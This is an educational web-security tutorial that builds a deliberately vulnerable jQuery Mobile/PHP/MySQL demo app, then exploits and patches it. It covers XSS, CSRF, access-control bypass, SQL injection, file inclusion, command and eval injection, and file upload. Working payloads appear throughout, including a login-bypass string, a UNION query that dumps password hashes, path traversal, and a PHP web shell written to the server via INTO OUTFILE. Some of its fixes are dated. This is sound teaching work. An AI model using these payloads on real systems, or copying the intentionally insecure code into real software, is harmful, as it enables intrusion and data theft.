Improve web application security with jQuery Mobile

Learn how to secure your mobile applications

Many web developers consider security a low priority. Security is frequently relegated to the end of the software development life cycle, as little more than an afterthought. Sometimes, software security is neglected entirely, resulting in applications rife with common vulnerabilities. Because such bugs might manifest only under conditions present during an attack, they can be hard to detect prior to such events without knowledge of how the exploitation process works. Using a web application built with jQuery Mobile, PHP, and MySQL, this tutorial shows how many types of vulnerabilities occur along with common methods of exploitation and, most importantly, their respective countermeasures.

Share:

John Leitch, Application Security Consultant, Freelance

John Leitch is an independent application security consultant living in Grand Rapids, Michigan. Working primarily with web applications, he specializes in fuzz testing, dynamic analysis, and code review. Always on the hunt for bugs, he frequently releases vulnerability advisories.



03 May 2011

Also available in Chinese Japanese Portuguese Spanish

Before you start

This tutorial is for jQuery Mobile developers interested in securing their applications. It assumes that the reader has basic knowledge related to web application development using PHP, MySQL, JavaScript, XHTML, and CSS. Also, this tutorial is in no way comprehensive; it is intended as an introduction to web application security. For further reading on the issues covered here, plus other relevant topics, check Resources.

About this tutorial

Frequently used acronyms

  • API: Application program interface
  • CSRF or XSRF: Cross-site request forgery
  • CSS: Cascading Stylesheets
  • HTML: Hypertext Markup Language
  • HTTP: Hypertext Transfer Protocol
  • OS: Operating system
  • SQL: Structured Query Language
  • URL: Uniform Resource Locator
  • W3C: World Wide Web Consortium
  • XHTML: Extensible Hypertext Markup Language
  • XML: Extensible Markup Language
  • XSS: Cross-site scripting

With the rise of smart phones and similar devices, web application security has been broadened to include mobile applications. Because of the constraints imposed by the interfaces of many such devices, developers sometimes work with the flawed assumption that client-side input validation is sufficient for protection against attacks. However, requests sent by mobile applications can be manipulated in the same way as traditional web applications. Because of this vulnerability, the client cannot be trusted. With sensitive data sometimes stored on devices and the servers that they use, the protection of users from black-hat hackers is critical. This tutorial shows how several types of vulnerabilities occur and some of the countermeasures that can be put in place to mitigate attackers trying to exploit them. The following types of vulnerabilities are covered:

  • Cross-site scripting
  • Cross-site request forgery
  • Broken access control
  • SQL injection
  • File inclusion
  • OS command injection
  • Scripting language injection
  • Arbitrary file creation

All vulnerabilities and countermeasures are demonstrated using a sample application built with jQuery Mobile, PHP, and MySQL. (See Download for a .zip file with the sample code.)

Prerequisites

You will need the following tools to complete this tutorial:

  • Web server— You can use any web server with PHP support. Many of the exploits throughout this tutorial are Windows specific, but they can be adapted for other operating systems. Suggested web servers are Apache or the IBM HTTPServer.
  • PHP— Because some attacks described do not work against the latest version, PHP 5.3.1 was used. Such incompatibilities are noted throughout the tutorial.
  • MySQL— This tutorial uses MySQL, an open source database. Version 5.1.41 was used for this tutorial, but other versions should work fine.
  • Web debugging proxy— Because a way of manipulating HTTP requests is necessary, a web debugging proxy is very helpful. Throughout this tutorial, Fiddler v2.3.2.4 is used, but any other web debugger proxy that allows for modification of requests works.
  • jQuery Mobile— The front end of the sample application built in this tutorial uses jQuery Mobile 1.0 Alpha 3.

See Resources for helpful links.


Building an insecure application

You begin this tutorial by creating an insecure example application called the Contrived Mobile Application (CMA), which serves as a testing ground for the different types of attacks covered in the following sections. To achieve this test, CMA has two core pieces of functionality:

  • A user profile system for customization
  • A calculator for performing basic arithmetic

Each element of the application introduces security holes that attackers can use for their own ends. With each vulnerability covered, CMA is patched appropriately in an attempt to thwart future hackers.

The schema

As a user-centric application, CMA has a simple schema consisting of one table (see Listing 1).

Listing 1. An excerpt of the CMA installation script
CREATE TABLE UserAccount
(
Id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
Username VARCHAR(256) NOT NULL,
Password VARCHAR(32) NOT NULL,
    FirstName VARCHAR(256) NOT NULL,
    LastName VARCHAR(256) NOT NULL
);

INSERT INTO UserAccount (Username, Password, FirstName, LastName) 
VALUES ('Jane', md5('Password1'), 'Jane', 'Smith');

INSERT INTO UserAccount (Username, Password, FirstName, LastName) 
VALUES ('John', md5('Password1'), 'John', 'Doe');

Two users are created, Jane and John. To keep things simple, permission levels have been left out.

Language selection

The language selection logic is executed every time a page is loaded (see Listing 2).

Listing 2. Improper handling of input passed to require_once
if (isset($_COOKIE['language'])){    require_once($_COOKIE['language'] . ".php");    }

First, a conditional statement checks to see if a language cookie is present. If it is, the PHP extension is appended to the cookie value and the string is passed to the require_once function to load the appropriate script.

Authentication and authorization

Next you add some rudimentary protection. A login form (see Figure 1) is created along with authentication and authorization logic, and upon successfully logging in the session value, CurrentUser is set to the username of the authenticated user. Authorization logic is implemented by checking this session value.

Figure 1. The CMA login form
Screen capture of the CMA login form with Username and Password fields plus Login button

Listing 3 shows the creation of insecure authentication logic.

Listing 3. Insecure authentication logic
<?php

function Authenticate($Username, $Password)
{
    $query = "SELECT COUNT(*) FROM useraccount " . 
        "WHERE Username = '" . $Username . "' AND " . 
        "Password = md5('" . $Password . "');";

    $result = mysql_query($query);

    $_SESSION["CurrentUser"] = $Username;

    return mysql_result($result, 0); 
}

?>

Listing 4 shows the creation of insecure authorization logic.

Listing 4. Insecure authorization logic
<?php

if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL)
{
    header("Location: login.php");
}

?>

User search

No user-centric application is complete without the ability to search for other users within the system. The user search feature accepts keywords and returns matches as an unordered list (Figure 2). Listing 5 shows the search logic.

Listing 5. Insecure handling of user-submitted data in the user search implementation
Query: <?php echo $query; ?>

<ul data-role="listview" data-theme="c" style="margin-top:12px;">
    <?php

    $query = "SELECT FirstName, LastName " .
        "FROM UserAccount " .
        "WHERE FirstName LIKE '%$query%' OR " .
        "LastName LIKE '%$query%';";

    $result = mysql_query($query) or die(mysql_error());;

    while ($row = mysql_fetch_assoc($result)) {                    
        echo "<li>" . $row["FirstName"] . " " . $row["LastName"] . "</li>";
    }

    ?>
</ul>

Listing 5 performs a variety of functions. First, it outputs the user-submitted query at the top of the page to remind users what they searched for. Following that, the conditions of a SELECT a statement are dynamically built from the user-supplied keywords. The SQL statement is passed to mysql_query, and the script loops through the results, echoing pertinent data as HTML list items.

Figure 2. The results of a user search
Screen capture of the results of a user search: Query for 'John' yields 'John Doe' as result

Calculator

Because users might need to solve basic arithmetic problems on the fly, CMA offers a calculator feature. Calculator consists of three inputs: x, y, and operation. Listing 6 shows the code for solving arithmetic problems and displaying the results.

Listing 6. Insecure handling of user-submitted data in the calculator implementation
<?php

$operation = $_GET["operation"] == "operation-add" ?
    "+" : "-";

$arithmetic = "$_GET[x] $operation $_GET[y]";

echo $arithmetic . " = ";

$code = "echo $arithmetic;";

eval($code);

?>

This piece of code first checks the GET data to determine what operation the user selected. Next, it builds the arithmetic problem as a string. It then outputs the complete problem so the user can see it, before interpreting the dynamically built string as PHP.

Figure 3 shows the calculator in action.

Figure 3. The CMA calculator crunching some numbers
Screen capture of the CMA calculator: X=6, Y=20. Select X+Y or X-Y operation and calculate.

Now that you have seen the CMA calculator, I'll cover the core of the application: user preferences.

User preferences

The personal customizability of CMA is its biggest piece of functionality. It allows users to change personal information and upload a picture for their profile (see Listing 7).

Listing 7. Insecure handling of user-submitted data in the user preferences implementation
<?php

$message = "User preferences have been saved.";

$validated = TRUE;

$update = "UPDATE UserAccount " .
    "SET " .
    "FirstName = '$_REQUEST[firstname]', " .
    "LastName = '$_REQUEST[lastname]' ";
    
$password1 = $_REQUEST["newpassword1"];
$password2 = $_REQUEST["newpassword2"];

if ($password1 != NULL && $password1 != '')
{
    if ($password1 != $password2)
        $validated = FALSE;

    $update .= ", Password = md5('$password1') ";
}

$update .= "WHERE Id = $_REQUEST[userid]";

if ($validated)
    mysql_query($update) or die(mysql_error());

if (isset($_FILES["picture"]))
{
    $image = $_FILES["picture"]["tmp_name"];

    // For this example ping will be used as a mock image
    // compression tool.
    $compress_command = "ping $image $_REQUEST[imagecompression]";

    exec($compress_command);

    move_uploaded_file($image,
        "images/" . $_FILES["picture"]["name"]);
}

echo $message;

?>

The code in Listing 7 first builds and executes an UPDATE statement for the UserAccount table. If the user uploaded an image, it is processed with a mock image compression utility and then moved into the images directory.

Figure 4 shows the user preferences interface with First Name, Last Name, New Password, Repeat New Password, Profile Picture fields.

Figure 4. The user preferences interface showing the John Doe account
Screen capture of the user preferences interface showing the John Doe account

Having gone over relevant CMA functionality, it is time to look more closely at its implementation. The next section covers the vulnerabilities present, how someone can exploit them, and what you can do to prevent that exploitation.


Cross-site scripting (XSS)

A website is vulnerable to XSS when a hacker can inject client-side scripts to attack other users. There are two types of XSS: reflected and persistent. It is a common misconception that XSS is nothing more than a nuisance. In some instances of reflected XSS the threat is minor, but in many cases it leaves users vulnerable to account compromise or worse.

Reflected XSS

Reflected XSS occurs when request data is rendered unencoded and unfiltered in the response. With the help of social engineering, an attacker can trick a user into visiting a page that creates such a request, allowing the attacker to execute JavaScript in the context of the targeted user. What can be done with this varies depending on the nature of the hole, but XSS is generally exploited to hijack sessions, steal credentials, or perform otherwise unauthorized actions.

Persistent

Usually a greater threat than the reflected type, an XSS vulnerability is considered persistent when the server saves the user-submitted request data. Because the malicious data is persisted within the application, the social engineering aspect of the attack is made simpler or even removed altogether depending on the exploit.

Exploitation

CMA is loaded with XSS vulnerabilities; the user search alone has both the reflected and persistent types. Exploitation of the reflected type is shown here:
http://localhost/CMA/insecure/search.php?query=%3Cscript%3Ealert (document.cookie)%3C/script%3E

The effects of the reflected XSS attack are visible immediately on navigating to the link, unless client-side countermeasures are in place:
Query: <script>alert(document.cookie)</script>

Anti-XSS features might be built into a browser, such as Microsoft® Internet Explorer® 8, or installed as a plug-in, such as noXSS for Firefox. For your purposes, client-side filters should not be considered as you cannot rely on users to have them installed, and in many cases they protect only against the reflected type. In some instances, client-side filtering actually is counter-productive, introducing universal XSS (UXSS) vulnerabilities. One example of this was in Internet Explorer 8 before Microsoft patched the hole.

To see persistent XSS in action, insert the script tags displayed here into the First Name or Last Name field of the User Preferences form, then search for the user:
<script>alert(document.cookie)</script>

The JavaScript is executed when the user is shown in search results.

Prevent cross-site scripting

Stopping XSS attacks is usually a matter of applying the right encoding to user input in the server response. For the user search reflected XSS example, applying HTML entity encoding should be sufficient to prevent malicious actions. You can take this step with the PHP API by using the htmlentities function: Query: <?php echo htmlentities($query); ?>.

Testing the attack against the updated code now yields a different result:
Query: <script>alert(document.cookie)</script>

The less-than and greater-than characters are now HTML entity encoded, preventing the attacker from injecting markup. The persistent vulnerability is fixed in the same way (see Listing 8) with the htmlentities function.

Listing 8. A CMA modification to prevent persistent XSS
while ($row = mysql_fetch_assoc($result)) 
{					
echo "<li>" . htmlentities($row["FirstName"]) . " " . 
htmlentities($row["LastName"]) . "</li>";					
}

When user-submitted data is injected into an HTML attribute value, take care to ensure that string delimiters used to enclose the value are stripped or encoded within the value itself. Otherwise, attribute injection can take place:
<a href='http://www.mywebsite.com/'>My Website</a>

Listing 9 shows how attribution injection can take place.

Listing 9. Attribute injection, made possible by the lack of single quote encoding
<a href='http://www.mywebsite.com/'onmouseover='alert(document.cookie)
'>My Website</a>

As an added layer of security, enabling the HttpOnly flag of the Set-Cookie response header prevents client-side scripts from accessing the protected cookie. You cannot rely on this feature, however, as some browsers do not entirely support it.

The next section covers another prevalent vulnerability that can be used to launch client-side attacks against other users of a system.


Cross-site request forgery (CSRF or XSRF)

CSRF occurs when an attacker tricks users into performing actions within their security context. If no security measures are in place, hackers can do this regardless of whether the form method is GET or POST. Between the two, CSRF attacks that use the GET method are the biggest threat because the request can be forged using only a URL, which an attacker can use as the source of an image. If the attack has the ability to arbitrarily set the source of an image within the system, hackers can leverage it to launch an on-site request forgery (OSRF) attack.

Exploitation

Almost every action in CMA can be recreated as a CSRF attack. Listing 10 is an example of a GET-based attack that changes the targeted user's password to new_password.

Listing 10. Password changing CSRF example
<html>
    <body>
        <img
src="http://localhost/CMA/insecure/preferences.php?firstname=John&lastname
=Doe&newpassword1=new_password&newpassword2=new_password&userid
=2&imagecompression=5" />
    </body>
</html>

If the GET method does not work, the attacker can attempt to forge the request using POST (see Listing 11).

Listing 11. Password changing CSRF example using the POST method
<html>
   <body onload="document.forms[0].submit()">
       <form method="POST" action="http://localhost/CMA/insecure/preferences.php">
           <input type="hidden" name="firstname" value="John" />
           <input type="hidden" name="lastname" value="Doe" />
           <input type="hidden" name="newpassword1" value="new_password" />
           <input type="hidden" name="newpassword2" value="new_password" />
           <input type="hidden" name="userid" value="2" />
           <input type="hidden" name="imagecompression" value="5" />
       </form>
   </body>
</html>

The outcome of viewing the rendered HTML in Listing 11 is the creation of a request that is identical to that of a legitimate user updating user preferences, but all form values are controlled by the attacker.

Prevent cross-site request forgery

You can prevent CSRF in a couple of common ways. The easiest way to implement is to check the referrer in the HTTP request (see Listing 12); if the request is not from a trusted source, it should be rejected. The more granular the referrer checking, the better the security.

Listing 12. A basic referrer check implementation
if (strpos($_SERVER["HTTP_REFERER"], $app_host . $app_path) != 0 &&
strpos($_SERVER["HTTP_REFERER"], $app_path) != 0)
die("Invalid request");

This approach, though, is not foolproof. A more secure countermeasure is the employment of a security token. With each protected form, the server includes a long, sufficiently random token value. Each token value is tracked server-side to ensure that it is used only once and expires after a predetermined amount of time. On form submission, if the value is absent, invalid, or expired, the request is rejected on the grounds that it is most likely forged. Without the ability to guess the token value, an attacker is not able to craft an attack. If this security mechanism is applied to every page in the application, it also serves to prevent reflected XSS.

In the upcoming sections, you'll look at several types of server-side vulnerabilities.


Broken access control

Access control issues are often overlooked because, in most cases, access control cannot easily be tested using automated utilities. An application has broken access control when unauthenticated or unauthorized users can access resources to which they should be denied permission. This issue frequently happens when developers try to protect resources intended for authorized users by hiding URLs from unprivileged users. The assumption that this alone protects a resource is flawed; an attacker can still discover the URL through other means, such as inference. Also, users who lose privileges might still be able to access unauthorized resources with URLs that they have saved.

Exploitation

CMA has two access control-related vulnerabilities: authentication bypass and privilege escalation. The authentication bug stems from the failure to terminate execution on finding the user to be unauthenticated. Trying to perform a forbidden action (see Listing 13) in a browser results in seemingly expected behavior: The browser is redirected to the login page.

Listing 13. An unauthenticated request for privileged resources
POST http://localhost/CMA/insecure/preferences.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 107
Cache-Control: max-age=0
Origin: null
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 
  (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
  ,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

firstname=John&lastname=Doe&newpassword1=new_password&newpassword2
=new_password&userid=2&imagecompression=5

As Listing 14 shows, examining the traffic using a web debugging proxy such as Fiddler reveals that quite a bit more is happening.

Listing 14. An excerpt from the response showing that the interpreter did not properly terminate execution
HTTP/1.1 302 Found
Date: Sat, 19 Mar 2011 23:14:44 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l 
 mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: login.php
Content-Length: 1138
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
...

While the server responded with a 302 status code, the body of the responses contains everything that an authenticated user receives. Further, the password change was successful, and the targeted account has been compromised.

Aside from the authentication bypass vulnerability, CMA contains another access control issue: privilege escalation. Whenever a user updates his or her profile, the Id of the user's account, stored in a hidden field of the form as shown here, is submitted along with the form:
<input type="hidden" name="userid" id="userid" value="2" />

When the form is posted back to the server, no validation is performed to confirm that the submitted Id is that of the actual current user before the value is used to load the record from the database. A malicious user can use browser-based web development tools to change the value of the hidden field before submitting the form or alter the request using a web debugging proxy to specify an arbitrary Id, allowing the malicious user to make changes to user accounts other than their own.

Prevent broken access control

To prevent authentication bypass, ensure that the execution of your protected application logic does not take place if an authentication or authorization check fails. With PHP, it is important to remember that setting the Location field of the response using the header function does not terminate execution. Listing 15 shows authorization code that properly exits.

Listing 15. Improved authorization code
<?php

if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL)
{
    header("Location: login.php");

    exit;
}

?>

If the user is determined to be unauthorized, the exit function is called after the Location header is set. This step prevents the remainder of the script from being executed.

To eliminate privilege escalation, ensure that proper authorization is performed for every privileged action. Avoid storing data client-side when it can be stored server-side. The user ID in Listing 15 is a good example of data that can be stored in the session. Part of the fix is shown here:
$update .= "WHERE Id = $_SESSION[userid]";

Next is SQL injection, a well-known vulnerability with a wide range of potential consequences.


SQL injection

Despite growing awareness, SQL injection still remains a problem. Consequences of a successful SQL injection vary depending on the vulnerability. Some of the threats that can be introduced are these:

  • Data disclosure
  • Modification of existing data
  • Insertion of new data
  • Arbitrary file system access
  • Arbitrary network access
  • System compromise

Exploitation

Every query in CMA is vulnerable to SQL injection, so you'll work with several input vectors. By injecting a condition and commenting out the rest of the query through the username field, authentication can be bypassed. Listing 16 shows the query as it was intended.

Listing 16. The select statement when John and Password1 are submitted as user credentials
SELECT COUNT(*) FROM UserAccount 
WHERE Username = 'John' AND  Password = md5('Password1');

Listing 17 shows what the statement looks like when a malicious string is used to inject code into the first condition.

Listing 17. The select statement when 'or 1=1;# and an empty password are submitted as credentials
SELECT COUNT(*) FROM UserAccount 
WHERE Username = ''or 1=1;#' AND  Password = md5('');

Because 1 is always equal to 1 and the password checking condition is commented out by the number sign character (#), the query in Listing 17 returns the count of all the records in the UserAccount table. If the count is not zero, the return value of the Authenticate function evaluates to true, granting the attacker access.

The user search functionality is vulnerable in a way that can be exploited to extract arbitrary data, among other things. Listing 18 shows the search query as it was intended to work.

Listing 18. The user search query under normal conditions
SELECT FirstName, LastName FROM UserAccount 
WHERE FirstName LIKE '%John%' OR LastName LIKE '%John%';

By utilizing the UNION operator, attackers can append an entirely new query to retrieve data of their choosing:
'and 1=0 UNION SELECT Username, Password FROM UserAccount;#

Listing 19 shows the dynamically generated query after submission of the attack string.

Listing 19. The user search query after SQL injection
SELECT FirstName, LastName FROM UserAccount 
WHERE FirstName LIKE '%'and 1=0 UNION SELECT Username, 
Password FROM UserAccount;#%' OR LastName LIKE '%'and 1=0 
UNION SELECT Username, Password FROM UserAccount;#'";

The attack yields the user name and password digest for every user in the database (see Figure 5).

Figure 5. The result of successful injection using the UNION operator
Screen capture of result for successful injection using the UNION operator: Names and passwords for two user accounts

Prevent SQL injection

To prevent SQL injection, you must properly escape and validate all user-submitted input. Most web development APIs come with functions to achieve this. With PHP and MySQL, use parameterized queries along with mysql_real_escape_string for string values to protect from many attacks (see Listing 20).

Listing 20. Updated authentication code utilizing preventive measures offered by the PHP API
$query = sprintf("SELECT COUNT(*) FROM useraccount " . 
    "WHERE Username = '%s' AND " . 
    "Password = md5('%s');",
    mysql_real_escape_string($Username),
    mysql_real_escape_string($Password));

As Listing 21 shows, the authentication bypass no longer works due to the escaping of the delimiter at the start of the attack string.

Listing 21. An injection attempt with the new fix in place
SELECT COUNT(*) FROM useraccount 
WHERE Username = '\'or 1=1;#' AND Password = md5('');

It is important to use the right type specifier in the format string. Casting to the expected type provides an additional layer of protection (see Listing 22).

Listing 22. Safely creating a query using an untrusted integer
$query = sprintf("SELECT * FROM useraccount WHERE Id = %d", (int)$_GET['id']);

The subsequent section goes into File Inclusion, a type of bug that is common in PHP web applications.


File inclusion

There are two types of file inclusion: remote and local. As the name implies, this type of vulnerability allows an attacker to arbitrarily include a file. Whether the result is disclosure of the contents of the file or execution as code depends on the nature of the exploit. With PHP, remote file inclusion is generally not possible if allow_url_fopen is disabled in the php.ini file.

Exploitation

The language cookie in CMA is vulnerable to local file inclusion and, if the server is configured to allow opening URLs, remote file inclusion. By passing a series of traversal sequences along with a folder and file outside of the webroot followed by a null byte to terminate the string, arbitrary files can be included. Listing 23 shows a malicious request that includes the win.ini file.

Listing 23. A malicious request that attempts to retrieve the win.ini file of the server
GET http://localhost/cma/insecure/index.php HTTP/1.1
Host: localhost
Connection: keep-alive
Referer: http://localhost/cma/insecure/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML,
  like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
  image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: language=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2fwin.ini%00

Listing 24 shows the server's response.

Listing 24. The server's response showing a successful attack
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2011 20:59:41 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l 
mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: PHPSESSID=39q2aarl86t01j697vrb6ekjf2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6142
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
m2v=MPEGVideo
mod=MPEGVideo
[Trimmed]

Note that null byte poisoning of paths no longer works as of PHP 5.3.4. In some instances, though, it is not required, so do not consider this alone as a fix for file inclusion vulnerabilities.

Aside from disclosing arbitrary files, file inclusion can sometimes be used to trick the server into interpreting arbitrary file types (such as jpgs) as code.

Prevent file inclusion

If possible, avoid passing user input to any functions that read or include files. If this approach cannot be avoided, try taking a whitelist approach to validating data, as is done in Listing 25. If the number of valid values is too great for a whitelist, check for any traversal sequences or null bytes and reject (do not attempt to sanitize) the request. Ensure that the server appends the extension of the user-submitted filename.

Listing 25. Updated language selection code that blocks file inclusion attacks
$languages = array(    "en-us",    "en-ca");if (isset($_COOKIE['language']))
{    if (in_array($_COOKIE['language'], $languages)     
require_once($_COOKIE['language'] . ".php");
else
die("Invalid language.");}

Because the updated code allows only cookie values contained within the languages array, users can no longer exploit the language selection functionality to include arbitrary files.

While local file inclusion is a serious threat, the consequences of the attack described in the upcoming sections can be even more severe.


OS command injection

As you might expect, OS command injection is a very serious threat. If user input is passed to a function that executes operating system commands, take great care to ensure that the data is properly escaped.

Exploitation

The mock image compression of the user preferences functionality is vulnerable to OS command injection. Commands can be injected by passing the pipe character (|) followed by a malicious command using the image compression data in the body of the request (see Listing 26).

Listing 26. The body of a malicious request
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="firstname"

John
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="lastname"

Doe
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="newpassword1"


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="newpassword2"


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="picture"; filename="x.txt"
Content-Type: text/plain


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="userid"

2
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="imagecompression"

5|calc
------WebKitFormBoundaryFnGBYVe08wA8NMrs-

The value passed to the system function is shown here:
ping "C:\tools\xampp\tmp\php7533.tmp" 5|calc

Prevent OS command injection

Avoid passing user input to functions that execute OS commands. You usually can use safer API functions to achieve a similar outcome. If a safer approach cannot be taken and untrusted data must be used to create command-line arguments, ensure that the data is properly escaped. The PHP API provides a function for escaping dangerous characters called escapeshellcmd. Listing 27 shows the corrected user preference code.

Listing 27. Use of escapeshellcmd to sanitize user input
$compress_command = "ping $image " .
    escapeshellcmd($_REQUEST["imagecompression"]);

By passing user input to escapeshellcmd before passing it to system, malicious characters such as pipe can be sanitized.

The next vulnerability covered often has an outcome similar to that of OS command injection.


Scripting language injection

A scripting language injection vulnerability is present when user input is interpreted as code. In many cases, this leads to compromise of the server as the attacker is able to execute code within the security context of the interpreter process.

Exploitation

Because user-submitted data is passed to the eval function, the calculator functionality of CMA is vulnerable to scripting language injection. Both the X and Y inputs can be used to execute arbitrary code, but because they are of the number type, client-side restrictions have to be bypassed. This bypass can be achieved by using a web debugging proxy:

/CMA/insecure/calculator.php?x=1&y=1;system(%22calc%22)&operation=operation-add

or by creating the query string manually:

/CMA/insecure/calculator.php?x=1;system(%22calc%22);//&y=1&operation=operation-add

The effects of the scripting injection attacks on the evaluated code are:
echo 1 + 1;system("calc"); and here: echo 1;system("calc");// + 1;

Prevent scripting language injection

Avoid evaluating user input as code. Relevant functionality can usually be created by using safer API functions (this is the approach taken in Listing 28). If it cannot be avoided, apply strict validation (whitelist if possible), and reject any input that is deemed unsafe. Do not attempt to sanitize user input.

Listing 28. Rewritten calculator logic
<?php

$x = $_GET["x"];
$y = $_GET["y"];

$operation = $_GET["operation"] == "operation-add" ?
    "+" : "-";
    
// Patched reflected XSS vulnerability
$arithmetic = htmlentities("$x $operation $y");

echo $arithmetic . " = ";

if ($operation == "+")
    echo $x + $y;
else
    echo $x - $y;

?>

Because use of eval is avoided in the updated code, it is secured against script language injection.

The next section explains how arbitrary file creation can be exploited to a similar effect.


Arbitrary file creation

In many instances, the result of arbitrary file creation is similar to scripting language injection; an attacker can create a file with the appropriate extension and then access it to execute arbitrary code. The attacker can achieve this several ways, and you need to use caution when you work with any functionality that can be leveraged to create files. In some situations, this functionality can be combined with other vulnerabilities, such as directory traversal, allowing the attacker to wreak more damage.

Exploitation

One way to create an arbitrary file is to use the profile picture feature of the user preferences to upload a PHP file rather than an image. A simple script can provide a remote shell:
<?php system($_GET["CMD"]); ?>.
After it is uploaded, an attacker can then access the script to run OS commands with ease:
http://localhost/CMA/insecure/images/shell.php?CMD=calc

Depending on whether an appropriate SQL injection vulnerability is present and the configuration of the server, it might be possible to leverage SQL to create a new script. Depending on the SQL server permissions, it might be possible to utilize directory traversal to overwrite critical system files, effectively compromising the server:
SELECT '<?php system($_GET["CMD"]); ?>' FROM dual INTO OUTFILE '../../htdocs/shell.php'

The first column of the query should look familiar; it is actually a string literal containing the malicious file in Arbitrary file creation (see Listing 29).

Listing 29. The shell creating query injected into CMA using the UNION operator
http://localhost/CMA/insecure/search.php?query='and%201=0%20UNION%20SELECT
%20'%3C?php%20system($_GET[%22CMD%22]);%20?%3E',''%20FROM%20dual%20INTO%20OUTFILE
%20'../../htdocs/shell.php';%23

You can discover target paths for this type of attack through trial and error or by leveraging an information leakage vulnerability (not covered in this tutorial) that reveals the absolute path of the document root.

Prevent arbitrary file creation

If possible, perform whitelist validation on the extensions of any files that users might create. This approach is the approach used to fix CMA, shown in Listing 30 and Listing 31. If a similar fix cannot be implemented, use blacklist validation to ensure that no malicious extensions are allowed. For Apache and PHP, this approach means rejecting several extensions, such as PHP, PHTML, and HTACCESS. If input is deemed malicious, reject it; do not attempt to sanitize any questionable data.

Listing 30. A helper function used to check for null byte poisoning
function IsNullPoisoned($string)
{
    return strpos($string, "\x00") != NULL;    
}

function IsValidImageExtension($file)
{
    $validExtensions = array(
        "jpg",
        "png",
        "gif"
    );
    
    if (IsNullPoisoned($file))            
        return FALSE;

    $ext = pathinfo($file, PATHINFO_EXTENSION);
    
    return in_array($ext, $validExtensions);        
}

The IsNullPoisoned function checks the string for any null bytes and returns true if the position is not null while the IsValidImageExtension function checks to ensure that the filename is not null poisoned and that its extension is in the whitelist.

Listing 31. The CMA user picture functionality with added file extension validation
if (!IsValidImageExtension($_FILES["picture"]["name"]))
    die("Error uploading image.");

To prevent attacks, the name of the user-submitted file is passed to the IsValidImageExtension function, and if false is returned, the script is terminated.

With PHP, I recommend that you avoid regular expression-based extension filters. Listing 32 shows a validation function that can be bypassed.

Listing 32. Insecure extension validation
function IsValidImageExtension($file)
{
    return preg_match('/\.(jpg|png|gif)$/i', $file);    
}

The implementation in Listing 32 prevents some attacks, but the preg_match function might be susceptible to null byte poisoning: test.php%00test.jpg.

As Listing 33 shows counter-measures for this, but because of the added complexity, avoid this route.

Listing 33. Corrected regular expression-based validation
function IsValidImageExtension($file)
 {
     return !IsNullPoisoned($file) && preg_match('/\.(jpg|png|gif)$/i', $file);
 }

Check the filename for null byte poisoning before you use preg_match to prevent the attacker from injecting the string-terminating character.

Ensure that all SQL injection vulnerabilities are patched to stop attackers from using database server functionality to manipulate the file system. If the application does not require such functionality, consider disabling the features using database privileges. If possible, run the database server on a separate server than the HTTP server.

For an extra layer of security, store user-uploaded files outside of the document root or forbid access to users by using web server features if direct access is unnecessary. If an attacker is able to bypass file extension filters, this approach makes accessing and executing the malicious script more difficult. Do not give the client control of the upload destination folder; otherwise, an attacker might use directory traversal (covered earlier in this tutorial) to store the file in an unprotected directory.


Summary

As already stated, this tutorial is in no way comprehensive. In fact, no such source exists due to the ever-changing landscape of software security. The best protection against continually evolving attackers is to stay current by regularly reading about new security threats. For several excellent sources that examine in depth why vulnerabilities occur and what can be done to prevent them, see Resources. Remember, just as a system cannot be declared bug free, it cannot be deemed completely secure.


Download

DescriptionNameSize
Tutorial source codeCMA-Source.zip9KB

